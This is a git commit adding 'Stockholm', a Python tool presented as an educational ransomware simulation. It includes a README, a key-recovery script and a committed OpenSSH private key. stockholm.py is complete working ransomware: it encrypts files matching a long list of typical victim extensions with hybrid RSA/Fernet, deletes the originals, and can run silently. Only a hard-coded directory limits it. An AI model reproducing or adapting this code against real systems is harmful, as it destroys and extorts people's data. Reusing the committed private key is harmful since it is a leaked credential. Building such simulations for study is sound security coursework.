initial commit

This commit is contained in:
whaffman 2025-07-08 14:24:10 +02:00
commit 4da09c2407
7 changed files with 386 additions and 0 deletions

50
README.md Normal file
View File

@ -0,0 +1,50 @@
# Stockholm - File Encryption Tool
A Python-based file encryption tool that simulates ransomware behavior for educational and security testing purposes.
## Installation
```bash
source setup.sh
ssh-keygen -t rsa -b 2048 -f id_rsa -N ""
```
## Usage
### Encrypt files in ~/Infection directory:
```bash
python stockholm.py
```
### Decrypt files:
```bash
# Get symmetric key
python swat.py "$(cat ~/Infection/encrypted_symmetric_key.bin)" --private_key id_rsa
# Decrypt files
python stockholm.py -r <symmetric_key>
```
## Options
- `-r, --reverse <key>`: Decrypt files using symmetric key
- `-s, --silent`: Run without output messages
- `-v, --version`: Show version information
## How It Works
1. Generates master symmetric key (Fernet)
2. Creates unique key for each file
3. Encrypts files in 64KB chunks
4. Master key encrypted with RSA public key
5. Original files are deleted after encryption
## Security Features
- Hybrid encryption (RSA + Fernet)
- Unique file keys
- Memory efficient chunked processing
- Supports 100+ file extensions
## Example Test Setup
```bash
mkdir -p ~/Infection/test
echo "test content" > ~/Infection/test/sample.txt
python stockholm.py
```

16
id_rsa Normal file
View File

@ -0,0 +1,16 @@
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAIEAvs0sB3WYMqMlSevPErlEzPEthzfldJ0yGioA93mSLG7bovaPmvs2
ElkvZ+4QFIQqNaTA/wp0xXHlP+wAWL+2FGSwf3ZRZtIj4CcqLTgFajCwMijqOQz6DlO5fv
bWBM2EUdp9lPMqKKrs5Q/5U8uAwDM/Yyep54Y44SkEikhQtjsAAAIIniZc6p4mXOoAAAAH
c3NoLXJzYQAAAIEAvs0sB3WYMqMlSevPErlEzPEthzfldJ0yGioA93mSLG7bovaPmvs2El
kvZ+4QFIQqNaTA/wp0xXHlP+wAWL+2FGSwf3ZRZtIj4CcqLTgFajCwMijqOQz6DlO5fvbW
BM2EUdp9lPMqKKrs5Q/5U8uAwDM/Yyep54Y44SkEikhQtjsAAAADAQABAAAAgCdub3L7Mo
EEhmhIe3r7HuTb0vTm8FyxP/F4TMrYLQVRw8JiAjudPwd7tvhbkqcqyS5c5iXPG2LSrvYO
5+Nve0lQO1Wb6eyp9Cy9xheAB7ZT7ebZgp/sZkBDK6qmoEUJrb8JINsMYSRxycW0CLP8xw
xUpe3gNsg7VLXdtf10T1vBAAAAQQDaO3utaP5GHmxaT/fRhG1x76z6TZv6JAV8chcjja0l
xe9Y1P8ymbLAe9ntxETtfnUl+FeNQv5X6lBKNDYwoc6iAAAAQQDlkiGUfmQkNOPKwsURTT
i990MdAzazQxonUXu1EMg8wdhS7JIZXDv/yh5sBobAR0PsntXk5QBbI5P0F/v7dOfvAAAA
QQDUxG/j8zUcTTb+csyXPDs1QDcIsvct5eRrsHvhPiLSoo5ER5hMpTuyRsYTuTBv36UvJZ
HVDaCDTARttNm2Aqp1AAAAC3dpbGxlbUBtaWVyAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----

1
id_rsa.pub Normal file
View File

@ -0,0 +1 @@
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC+zSwHdZgyoyVJ688SuUTM8S2HN+V0nTIaKgD3eZIsbtui9o+a+zYSWS9n7hAUhCo1pMD/CnTFceU/7ABYv7YUZLB/dlFm0iPgJyotOAVqMLAyKOo5DPoOU7l+9tYEzYRR2n2U8yooquzlD/lTy4DAMz9jJ6nnhjjhKQSKSFC2Ow== willem@mier

0
requirements.txt Normal file
View File

3
setup.sh Executable file
View File

@ -0,0 +1,3 @@
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

272
stockholm.py Executable file
View File

@ -0,0 +1,272 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pathlib import Path
from cryptography.fernet import Fernet
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
import argparse
import os
from base64 import b64encode, b64decode
suffixes_to_encrypt = [
'.123', '.3dm', '.3ds', '.3g2', '.3gp', '.602', '.7z', '.accdb', '.aes',
'.ai', '.ARC', '.asc', '.asf', '.asm', '.asp', '.avi', '.backup', '.bak',
'.bat', '.bmp', '.brd', '.bz2', '.c', '.cgm', '.class', '.cmd', '.cpp',
'.crt', '.cs', '.csr', '.csv', '.db', '.dbf', '.dch', '.der', '.dif',
'.dip', '.djvu', '.doc', '.docb', '.docm', '.docx', '.dot', '.dotm',
'.dotx', '.dwg', '.edb', '.eml', '.fla', '.flv', '.frm', '.gif', '.gpg',
'.gz', '.h', '.hwp', '.ibd', '.iso', '.jar', '.java', '.jpeg', '.jpg',
'.js', '.jsp', '.key', '.lay', '.lay6', '.ldf', '.m3u', '.m4u', '.max',
'.mdb', '.mdf', '.mid', '.mkv', '.mml', '.mov', '.mp3', '.mp4', '.mpeg',
'.mpg', '.msg', '.myd', '.myi', '.nef', '.odb', '.odg', '.odp', '.ods',
'.odt', '.onetoc2', '.ost', '.otg', '.otp', '.ots', '.ott', '.p12',
'.PAQ', '.pas', '.pdf', '.pem', '.pfx', '.php', '.pl', '.png', '.pot',
'.potm', '.potx', '.ppam', '.pps', '.ppsm', '.ppsx', '.ppt', '.pptm',
'.pptx', '.ps1', '.psd', '.pst', '.rar', '.raw', '.rb', '.rtf', '.sch',
'.sh', '.sldm', '.sldx', '.slk', '.sln', '.snt', '.sql', '.sqlite3',
'.sqlitedb', '.stc', '.std', '.sti', '.stw', '.suo', '.svg', '.swf',
'.sxc', '.sxd', '.sxi', '.sxm', '.sxw', '.tar', '.tbk', '.tgz', '.tif',
'.tiff', '.txt', '.uop', '.uot', '.vb', '.vbs', '.vcd', '.vdi', '.vmdk',
'.vmx', '.vob', '.vsd', '.vsdx', '.wav', '.wb2', '.wk1', '.wks', '.wma',
'.wmv', '.xlc', '.xlm', '.xls', '.xlsb', '.xlsm', '.xlsx', '.xlt',
'.xltm', '.xltx', '.xlw', '.zip'
]
silent = False
def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id_rsa.pub"):
"""
Encrypts the symmetric key using the provided public key.
:param symmetric_key: The symmetric key to encrypt.
:param public_key_path: Path to the public RSA key file.
:return: Encrypted symmetric key.
"""
try:
with open(public_key_path, "rb") as public_key_file:
public_key = RSA.import_key(public_key_file.read())
cipher_rsa = PKCS1_OAEP.new(public_key)
encrypted_symmetric_key = cipher_rsa.encrypt(symmetric_key)
except Exception as e:
my_print(f"Error encrypting symmetric key: {e}")
return None
try:
with open(encrypted_key_path, "w") as enc_file:
enc_file.write(b64encode(encrypted_symmetric_key).decode('utf-8'))
except Exception as e:
my_print(f"Error writing encrypted symmetric key to file: {e}")
return None
my_print(f"Encrypted symmetric key saved to {encrypted_key_path}")
def encrypt_files(files, symmetric_key):
"""
Encrypts the specified files using the symmetric key with chunked encryption.
:param files: List of file paths to encrypt.
:param symmetric_key: The symmetric key to use for encryption.
"""
fernet_main = Fernet(symmetric_key)
for file in files:
fernet_file_key = Fernet.generate_key()
encrypted_fernet_file_key = fernet_main.encrypt(fernet_file_key)
fernet = Fernet(fernet_file_key)
if file.suffix != '.ft':
encrypted_file = file.with_suffix(file.suffix + '.ft')
else:
encrypted_file = file
try:
with open(file, 'rb') as fin, open(encrypted_file, 'wb') as fout:
# Encrypt in chunks to handle large files
fout.write(len(encrypted_fernet_file_key).to_bytes(4, byteorder='big'))
fout.write(encrypted_fernet_file_key)
while True:
chunk = fin.read(65536) # 64KB chunks
if not chunk:
break
# Encrypt each chunk separately
encrypted_chunk = fernet.encrypt(chunk)
# Write the length of the encrypted chunk first (for decryption)
chunk_length = len(encrypted_chunk)
fout.write(chunk_length.to_bytes(4, byteorder='big'))
fout.write(encrypted_chunk)
except Exception as e:
my_print(f"Error encrypting file {file}: {e}")
continue
my_print(f"Encrypted file: {encrypted_file}")
try:
os.remove(file)
my_print(f"Removed original file: {file}")
except Exception as e:
my_print(f"Error removing original file {file}: {e}")
def decrypt_files(files, symmetric_key):
"""
Decrypts the specified files using the symmetric key with chunked decryption.
:param files: List of file paths to decrypt.
:param symmetric_key: The symmetric key to use for decryption.
"""
fernet_main = Fernet(symmetric_key)
for file in files:
if file.suffix != '.ft':
continue
original_file = file.with_suffix('')
if len(original_file.suffixes) == 0:
original_file = original_file.with_suffix('.ft')
try:
with open(file, 'rb') as fin, open(original_file, 'wb') as fout:
length_key = fin.read(4)
if not length_key or len(length_key) < 4:
my_print(f"Error reading length of encrypted key from {file}")
continue
encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big'))
if not encrypted_key:
my_print(f"Error reading encrypted key from {file}")
continue
# Decrypt the symmetric key
try:
decrypted_key = fernet_main.decrypt(encrypted_key)
except Exception as e:
my_print(f"Error decrypting symmetric key: {e}")
continue
fernet = Fernet(decrypted_key)
# Decrypt in chunks
while True:
# Read the chunk length
length_bytes = fin.read(4)
if not length_bytes or len(length_bytes) < 4:
break
chunk_length = int.from_bytes(length_bytes, byteorder='big')
# Read the encrypted chunk
encrypted_chunk = fin.read(chunk_length)
if not encrypted_chunk or len(encrypted_chunk) < chunk_length:
break
# Decrypt the chunk
decrypted_chunk = fernet.decrypt(encrypted_chunk)
fout.write(decrypted_chunk)
except Exception as e:
my_print(f"Error decrypting file {file}: {e}")
continue
try:
os.remove(file)
my_print(f"Removed encrypted file: {file}")
except Exception as e:
my_print(f"Error removing encrypted file {file}: {e}")
continue
my_print(f"Decrypted file: {original_file}")
def list_infection_files(infection_path):
"""
Lists all files in the Infection directory.
:return: List of file paths in the Infection directory.
"""
if not infection_path.exists():
my_print("Infection path does not exist.")
return []
files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix in suffixes_to_encrypt]
return files
def list_infected_files(infection_path):
"""
Lists all infected files in the Infection directory.
:return: List of infected file paths in the Infection directory.
"""
if not infection_path.exists():
my_print("Infection path does not exist.")
return []
files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix == '.ft']
return files
def generate_symmetric_key():
"""
Generates a symmetric key for encryption.
:return: Generated symmetric key.
"""
key = Fernet.generate_key()
my_print(f"Generated symmetric key: {key.decode('utf-8')}")
return key
def my_print(message):
"""
Prints the message if not in silent mode.
:param message: The message to print.
:param silent: If True, suppresses the output.
"""
global silent
if not silent:
print(message)
def main():
parser = argparse.ArgumentParser(description="Encrypt or decrypt files in the Infection directory.")
parser.add_argument("-r", "--reverse", type=str, help="Decrypt files using the provided decryption key.")
parser.add_argument("-v", "--version", action="version", version="Stockholm 1.0")
parser.add_argument("-s", "--silent", action="store_true", default=False ,help="Run in silent mode, suppressing output messages.")
args = parser.parse_args()
global silent
silent = args.silent
home_dir = os.path.expanduser("~")
infection_path = Path(home_dir, "Infection")
if args.reverse:
my_print("Decrypting files...")
files = list_infected_files(infection_path)
# The key from swat.py is a base64-encoded string that should be used directly as bytes
if isinstance(args.reverse, str):
symmetric_key = args.reverse.encode('utf-8')
else:
symmetric_key = args.reverse
if symmetric_key:
if files:
decrypt_files(files, symmetric_key)
else:
my_print("No files to decrypt found in the Infection directory.")
else:
my_print("Failed to decrypt the symmetric key.")
else:
my_print("Encrypting files...")
files = list_infection_files(infection_path)
symmetric_key = generate_symmetric_key()
my_print(infection_path / "encrypted_symmetric_key.bin")
encrypt_symmetric_key(symmetric_key, infection_path / "encrypted_symmetric_key.bin")
if files:
encrypt_files(files, symmetric_key)
else:
my_print("No files to encrypt found in the Infection directory.")
del symmetric_key
if __name__ == "__main__":
main()

44
swat.py Executable file
View File

@ -0,0 +1,44 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from pathlib import Path
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from base64 import b64encode, b64decode
import argparse
def decrypt_symmetric_key(encrypted_key, private_key_path="id_rsa"):
"""
Decrypts the symmetric key using the provided private key.
:param encrypted_key_path: Path to the file containing the encrypted symmetric key.
:param private_key_path: Path to the private RSA key file.
:return: Decrypted symmetric key or None if decryption fails.
"""
try:
with open(private_key_path, "rb") as private_key_file:
private_key = RSA.import_key(private_key_file.read())
cipher_rsa = PKCS1_OAEP.new(private_key)
encrypted_symmetric_key = encrypted_key.encode('utf-8') if isinstance(encrypted_key, str) else encrypted_key
symmetric_key = cipher_rsa.decrypt(b64decode(encrypted_symmetric_key))
return symmetric_key
except Exception as e:
print(f"Error decrypting symmetric key: {e}")
return None
def main():
parser = argparse.ArgumentParser(description="Decrypt a symmetric key using a private RSA key.")
parser.add_argument("encrypted_key", type=str, help="Encrypted symmetric key")
parser.add_argument("--private_key", type=str, default="id_rsa", help="Path to the private RSA key file (default: id_rsa)")
args = parser.parse_args()
symmetric_key = decrypt_symmetric_key(args.encrypted_key, args.private_key)
if symmetric_key:
print(symmetric_key.decode('utf-8') if isinstance(symmetric_key, bytes) else symmetric_key)
else:
print("Failed to decrypt the symmetric key.")
if __name__ == "__main__":
main()